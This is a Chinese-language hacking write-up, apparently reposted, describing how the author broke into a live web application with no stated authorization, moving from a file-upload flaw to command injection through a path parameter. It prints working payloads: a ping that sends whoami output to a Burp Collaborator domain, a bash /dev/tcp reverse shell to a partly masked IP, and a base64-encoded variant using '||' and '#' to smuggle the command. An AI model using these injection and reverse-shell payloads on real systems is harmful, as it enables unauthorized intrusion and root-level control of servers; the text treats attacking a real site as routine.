從文件上傳到命令注入


主站打開是這樣的只有掃碼登陸

嘗試掃碼提示未注冊

查看js,網站用了webpack打包

所有請求都在

這個js里面

嘗試尋找敏感接口無果

百度site:domain.com

注意到wx1子域,打開這個鏈接跳轉到在微信打開

那就到微信打開,查看功能點發現一處上傳,先上傳正常圖片

改最下面的filename,后綴不變

改上面的filename參數,發現應該是任意文件上傳

因為在js中發現php的ueditor(訪問文件不存在)

顧認為是php的站,於是上傳php,成功上傳

訪問此php文件直接被下載回來,沒有解析(文件在主站下)

此時想到的是這個目錄不解析php文件,上傳包中有一個path參數,想着將文件上傳跨目錄到網站根目錄

先嘗試隨便命名一個文件夾,可以創建,訪問文件也存在

嘗試../ ..跨目錄失敗

后面嘗試各種姿勢還是沒能跨目錄,也嘗試修改上傳URI

把Image改為File,顯示404

改為upload還是在原來那個目錄

於是回頭看,微信里的功能

找到一處視頻上傳,把圖片改為mp4后綴上傳抓包,發包直接報錯

此時注意到報錯返回的結果,是在執行視頻解析的系統命令,注意到下面截圖中的兩個點

因為path可控那我是不是可以直接拼接命令呢,於是嘗試拼接

| ping `whoami`.z889xcgz67006o0itleim0vxcoie63.burpcollaborator.net | 

dnslog收到響應whoami執行結果為root,此時確定存在命令執行

直接反彈shell,服務器沒收到

| bash -i >& /dev/tcp/123.*.*.182/8080 0>&1 |

感覺是有特殊字符的原因,於是采用base64編碼

tes.txt || echo YmFzaCAtaSA+JiAvZGV2L3*******uNTYuMjQuMTgyLzgwODAgMD4mMQ== | base64 -d | /bin/bash

監聽的端口依然沒收到響應

於是采用#注釋后面的命令

tes.txt || echo YmFzaCAtaSA+JiAvZGV2L3*******uNTYuMjQuMTgyLzgwODAgMD4mMQ== | base64 -d | /bin/bash #

成功反彈shell,發現原來是node.js的站,難怪之前不解析

wx站

主站

此目錄記錄當時所做之嘗試

其實一開始就應該注意到

Express是node.js的一個開發框架就不會在文件上傳不解析那里搞那么久了


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM